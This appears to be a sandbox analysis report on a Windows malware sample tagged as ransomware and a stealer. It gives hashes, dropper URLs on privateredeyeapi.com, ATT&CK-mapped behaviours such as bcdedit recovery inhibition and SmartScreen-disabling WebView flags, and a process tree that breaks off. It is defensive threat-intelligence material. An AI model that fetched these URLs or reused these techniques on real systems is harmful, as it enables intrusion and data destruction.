9c6827030e1af86c304a8ce08b8fd803ff3a33775f29eec77f7633b5e99f8112

Analysis

max time kernel
75s
max time network
185s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 15:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
Size 10.5MB
Sample260809-tbf9rs1djd
SHA256 9c6827030e1af86c304a8ce08b8fd803ff3a33775f29eec77f7633b5e99f8112
MD5 dce77eeca7959c65260ddd705f505ceb
SHA1 9755cae0035658fb0952c28a75b53cef6bb017a2
SHA512 a3390a4cb198df98330fc0fbe3c3c2e52b540d809e9ebe845a6e727de057459facadeb921b8494dc1d1ebeafa7bcfa7260312df04d7fffccbe4b06347d7d57be
SSDEEP 98304:T0amP3op3n+S8/pfUXR96QhGighKUZvYhGk7u0eYoKb+f28ujaBclGfGRnADrgRF:sPw3n+S8mhGigY7JXZ028ujfRMX0/
TLSH
T12DB64D03F66280E8C06AC5B5835AE633FB32B88D493472BF5BA45B312E65F506F1D758
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution persistence ransomware trojan

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=NewsBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=MaintGetBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=AdminCheckBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=ForceGetBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=GatesGetBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=BanCheckBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=RegisterBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=EventBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=BroadcastGetBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=TrialBooster

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5376	bcdedit.exe
5376	bcdedit.exe
5376	bcdedit.exe
5376	bcdedit.exe

Badlisted process makes network request 48 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
14	3376	powershell.exe
30	3376	powershell.exe
31	508	powershell.exe
34	4756	powershell.exe
35	260	powershell.exe
36	6444	powershell.exe
38	260	powershell.exe
40	6636	powershell.exe
42	6636	powershell.exe
43	7140	powershell.exe
44	7096	powershell.exe
45	7088	powershell.exe
14	3376	powershell.exe
30	3376	powershell.exe
31	508	powershell.exe
34	4756	powershell.exe
35	260	powershell.exe
36	6444	powershell.exe
38	260	powershell.exe
40	6636	powershell.exe
42	6636	powershell.exe
43	7140	powershell.exe
44	7096	powershell.exe
45	7088	powershell.exe
14	3376	powershell.exe
30	3376	powershell.exe
31	508	powershell.exe
34	4756	powershell.exe
35	260	powershell.exe
36	6444	powershell.exe
38	260	powershell.exe
40	6636	powershell.exe
42	6636	powershell.exe
43	7140	powershell.exe
44	7096	powershell.exe
45	7088	powershell.exe
14	3376	powershell.exe
30	3376	powershell.exe
31	508	powershell.exe
34	4756	powershell.exe
35	260	powershell.exe
36	6444	powershell.exe
38	260	powershell.exe
40	6636	powershell.exe
42	6636	powershell.exe
43	7140	powershell.exe
44	7096	powershell.exe
45	7088	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 62 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3376	powershell.exe
5180	powershell.exe
1904	powershell.exe
508	powershell.exe
4756	powershell.exe
260	powershell.exe
6444	powershell.exe
6636	powershell.exe
7088	powershell.exe
7140	powershell.exe
6956	powershell.exe
7096	powershell.exe
4828	powershell.exe
5484	powershell.exe
6416	powershell.exe
6740	powershell.exe
6444	powershell.exe
6500	powershell.exe
6740	powershell.exe
464	powershell.exe
5104	powershell.exe
2380	powershell.exe
6552	powershell.exe
4648	powershell.exe
5016	powershell.exe
1860	powershell.exe
6388	powershell.exe
3420	powershell.exe
2276	powershell.exe
2364	powershell.exe
1348	powershell.exe
1448	powershell.exe
3724	powershell.exe
5612	powershell.exe
3280	powershell.exe
1136	powershell.exe
6824	powershell.exe
600	powershell.exe
8	powershell.exe
3460	powershell.exe
4616	powershell.exe
3724	powershell.exe
5652	powershell.exe
1764	powershell.exe
6536	powershell.exe
4248	powershell.exe
5612	powershell.exe
1732	powershell.exe
4740	powershell.exe
6520	powershell.exe
2740	powershell.exe
3520	powershell.exe
4856	powershell.exe
2608	powershell.exe
2868	powershell.exe
6360	powershell.exe
1524	powershell.exe
3564	powershell.exe
2072	powershell.exe
6188	powershell.exe
1940	powershell.exe
4760	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Power Settings 1 TTPs 4 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
6500	powershell.exe
3444	powercfg.exe
6740	powershell.exe
1224	powercfg.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 8 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5104	powershell.exe
6500	powershell.exe
2948	powershell.exe
2348	powershell.exe
6552	powershell.exe
6740	powershell.exe
4136	powershell.exe
464	powershell.exe

Launches sc.exe 46 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
264	sc.exe
7056	sc.exe
5392	sc.exe
1352	sc.exe
2328	sc.exe
5444	sc.exe
6160	sc.exe
1892	sc.exe
6748	sc.exe
6760	sc.exe
4516	sc.exe
4344	sc.exe
7060	sc.exe
5996	sc.exe
2444	sc.exe
4488	sc.exe
3620	sc.exe
3444	sc.exe
4620	sc.exe
1772	sc.exe
6788	sc.exe
5376	sc.exe
1368	sc.exe
3572	sc.exe
6272	sc.exe
4264	sc.exe
1192	sc.exe
6780	sc.exe
2020	sc.exe
4876	sc.exe
6744	sc.exe
4656	sc.exe
1016	sc.exe
6608	sc.exe
2528	sc.exe
2856	sc.exe
3156	sc.exe
6988	sc.exe
6328	sc.exe
2212	sc.exe
5088	sc.exe
5956	sc.exe
6244	sc.exe
5880	sc.exe
1940	sc.exe
3460	sc.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
7100	netsh.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
7016	ipconfig.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
4932	powershell.exe
4932	powershell.exe
5104	powershell.exe
5104	powershell.exe
4932	powershell.exe
3376	powershell.exe
3376	powershell.exe
5104	powershell.exe
3376	powershell.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2380	powershell.exe
2380	powershell.exe
5612	powershell.exe
5612	powershell.exe
2380	powershell.exe
5612	powershell.exe
2364	powershell.exe
2364	powershell.exe
2364	powershell.exe
508	powershell.exe
508	powershell.exe
508	powershell.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2348	powershell.exe
2348	powershell.exe
4756	powershell.exe
4756	powershell.exe
2348	powershell.exe
3460	powershell.exe
3460	powershell.exe
260	powershell.exe
260	powershell.exe
600	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
2028	msedgewebview2.exe
2028	msedgewebview2.exe
2028	msedgewebview2.exe
2028	msedgewebview2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeDebugPrivilege	3376	powershell.exe
Token: SeDebugPrivilege	2380	powershell.exe
Token: SeDebugPrivilege	5612	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeIncreaseQuotaPrivilege	5612	powershell.exe
Token: SeSecurityPrivilege	5612	powershell.exe
Token: SeTakeOwnershipPrivilege	5612	powershell.exe
Token: SeLoadDriverPrivilege	5612	powershell.exe
Token: SeSystemProfilePrivilege	5612	powershell.exe
Token: SeSystemtimePrivilege	5612	powershell.exe
Token: SeProfSingleProcessPrivilege	5612	powershell.exe
Token: SeIncBasePriorityPrivilege	5612	powershell.exe
Token: SeCreatePagefilePrivilege	5612	powershell.exe
Token: SeBackupPrivilege	5612	powershell.exe
Token: SeRestorePrivilege	5612	powershell.exe
Token: SeShutdownPrivilege	5612	powershell.exe
Token: SeDebugPrivilege	5612	powershell.exe
Token: SeSystemEnvironmentPrivilege	5612	powershell.exe
Token: SeRemoteShutdownPrivilege	5612	powershell.exe
Token: SeUndockPrivilege	5612	powershell.exe
Token: SeManageVolumePrivilege	5612	powershell.exe
Token: 33	5612	powershell.exe
Token: 34	5612	powershell.exe
Token: 35	5612	powershell.exe
Token: 36	5612	powershell.exe
Token: SeIncreaseQuotaPrivilege	2364	powershell.exe
Token: SeSecurityPrivilege	2364	powershell.exe
Token: SeTakeOwnershipPrivilege	2364	powershell.exe
Token: SeLoadDriverPrivilege	2364	powershell.exe
Token: SeSystemProfilePrivilege	2364	powershell.exe
Token: SeSystemtimePrivilege	2364	powershell.exe
Token: SeProfSingleProcessPrivilege	2364	powershell.exe
Token: SeIncBasePriorityPrivilege	2364	powershell.exe
Token: SeCreatePagefilePrivilege	2364	powershell.exe
Token: SeBackupPrivilege	2364	powershell.exe
Token: SeRestorePrivilege	2364	powershell.exe
Token: SeShutdownPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeSystemEnvironmentPrivilege	2364	powershell.exe
Token: SeRemoteShutdownPrivilege	2364	powershell.exe
Token: SeUndockPrivilege	2364	powershell.exe
Token: SeManageVolumePrivilege	2364	powershell.exe
Token: 33	2364	powershell.exe
Token: 34	2364	powershell.exe
Token: 35	2364	powershell.exe
Token: 36	2364	powershell.exe
Token: SeDebugPrivilege	508	powershell.exe
Token: SeDebugPrivilege	2348	powershell.exe
Token: SeDebugPrivilege	4756	powershell.exe
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeDebugPrivilege	260	powershell.exe
Token: SeDebugPrivilege	600	powershell.exe
Token: SeDebugPrivilege	5652	powershell.exe
Token: SeDebugPrivilege	1860	powershell.exe
Token: SeDebugPrivilege	5016	powershell.exe
Token: SeIncreaseQuotaPrivilege	2348	powershell.exe
Token: SeSecurityPrivilege	2348	powershell.exe
Token: SeTakeOwnershipPrivilege	2348	powershell.exe
Token: SeLoadDriverPrivilege	2348	powershell.exe
Token: SeSystemProfilePrivilege	2348	powershell.exe
Token: SeSystemtimePrivilege	2348	powershell.exe
Token: SeProfSingleProcessPrivilege	2348	powershell.exe

Suspicious use of FindShellTrayWindow 20 IoCs

pid	Process
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2380	powershell.exe
2380	powershell.exe
2380	powershell.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2380	powershell.exe
2380	powershell.exe
2380	powershell.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2380	powershell.exe
2380	powershell.exe
2380	powershell.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2380	powershell.exe
2380	powershell.exe
2380	powershell.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2380	powershell.exe
2380	powershell.exe
2380	powershell.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2380	powershell.exe
2380	powershell.exe
2380	powershell.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2380	powershell.exe
2380	powershell.exe
2380	powershell.exe
3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2380	powershell.exe
2380	powershell.exe
2380	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3528 wrote to memory of 2028	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	90
PID 2028 wrote to memory of 3596	2028	msedgewebview2.exe	91
PID 2028 wrote to memory of 4272	2028	msedgewebview2.exe	92
PID 2028 wrote to memory of 4272	2028	msedgewebview2.exe	92
PID 2028 wrote to memory of 4272	2028	msedgewebview2.exe	92
PID 2028 wrote to memory of 4272	2028	msedgewebview2.exe	92
PID 2028 wrote to memory of 4992	2028	msedgewebview2.exe	93
PID 2028 wrote to memory of 5592	2028	msedgewebview2.exe	94
PID 2028 wrote to memory of 5592	2028	msedgewebview2.exe	94
PID 2028 wrote to memory of 5592	2028	msedgewebview2.exe	94
PID 2028 wrote to memory of 2496	2028	msedgewebview2.exe	95
PID 2028 wrote to memory of 2496	2028	msedgewebview2.exe	95
PID 2028 wrote to memory of 2496	2028	msedgewebview2.exe	95
PID 2028 wrote to memory of 2496	2028	msedgewebview2.exe	95
PID 2028 wrote to memory of 2496	2028	msedgewebview2.exe	95
PID 3528 wrote to memory of 4932	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	96
PID 3528 wrote to memory of 5104	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	97
PID 3528 wrote to memory of 3376	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	100
PID 3528 wrote to memory of 2380	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	102
PID 3528 wrote to memory of 5612	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	104
PID 3528 wrote to memory of 2364	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	106
PID 3528 wrote to memory of 508	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	109
PID 3528 wrote to memory of 260	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	111
PID 3528 wrote to memory of 4756	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	112
PID 3528 wrote to memory of 2348	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	113
PID 3528 wrote to memory of 3460	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	114
PID 3528 wrote to memory of 600	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	119
PID 3528 wrote to memory of 5652	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	120
PID 3528 wrote to memory of 5016	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	123
PID 3528 wrote to memory of 1860	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	124
PID 3528 wrote to memory of 6444	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	128
PID 3528 wrote to memory of 6636	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	130
PID 3528 wrote to memory of 7088	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	134
PID 3528 wrote to memory of 7096	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	135
PID 3528 wrote to memory of 7140	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	138
PID 3528 wrote to memory of 6956	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	142
PID 3528 wrote to memory of 6388	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	144
PID 3528 wrote to memory of 1764	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	146
PID 3528 wrote to memory of 6360	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	147
PID 3528 wrote to memory of 1524	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	150
PID 3528 wrote to memory of 2028	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	90
PID 2028 wrote to memory of 3596	2028	msedgewebview2.exe	91
PID 2028 wrote to memory of 4272	2028	msedgewebview2.exe	92
PID 2028 wrote to memory of 4272	2028	msedgewebview2.exe	92
PID 2028 wrote to memory of 4272	2028	msedgewebview2.exe	92
PID 2028 wrote to memory of 4272	2028	msedgewebview2.exe	92
PID 2028 wrote to memory of 4992	2028	msedgewebview2.exe	93
PID 2028 wrote to memory of 5592	2028	msedgewebview2.exe	94
PID 2028 wrote to memory of 5592	2028	msedgewebview2.exe	94
PID 2028 wrote to memory of 5592	2028	msedgewebview2.exe	94
PID 2028 wrote to memory of 2496	2028	msedgewebview2.exe	95
PID 2028 wrote to memory of 2496	2028	msedgewebview2.exe	95
PID 2028 wrote to memory of 2496	2028	msedgewebview2.exe	95
PID 2028 wrote to memory of 2496	2028	msedgewebview2.exe	95
PID 2028 wrote to memory of 2496	2028	msedgewebview2.exe	95
PID 3528 wrote to memory of 4932	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	96
PID 3528 wrote to memory of 5104	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	97
PID 3528 wrote to memory of 3376	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	100
PID 3528 wrote to memory of 2380	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	102
PID 3528 wrote to memory of 5612	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	104
PID 3528 wrote to memory of 2364	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	106
PID 3528 wrote to memory of 508	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	109
PID 3528 wrote to memory of 260	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	111
PID 3528 wrote to memory of 4756	3528	2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	112

C:\Users\Admin\AppData\Local\Temp\2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe"
1⤵
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3528
- C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
  "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=5.3.1 --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --autoplay-policy=no-user-gesture-required --disable-features=msWebOOUI,msPdfOOUI,msSmartScreenProtection --enable-features=MojoIpcz --lang=en-US --accept-lang=en-US --mojo-named-platform-channel-pipe=3528.2012.2109062863525490402 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of WriteProcessMemory
  PID:2028
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView /prefetch:4 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.139 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=122.0.2365.106 --initial-client-data=0x184,0x188,0x18c,0x160,0x194,0x7ffbd0075fd8,0x7ffbd0075fe4,0x7ffbd0075ff0
    3⤵
    PID:3596
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=5.3.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1748 --field-trial-handle=1752,i,5852216063266996758,6111214356741637136,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:2 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:4272
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
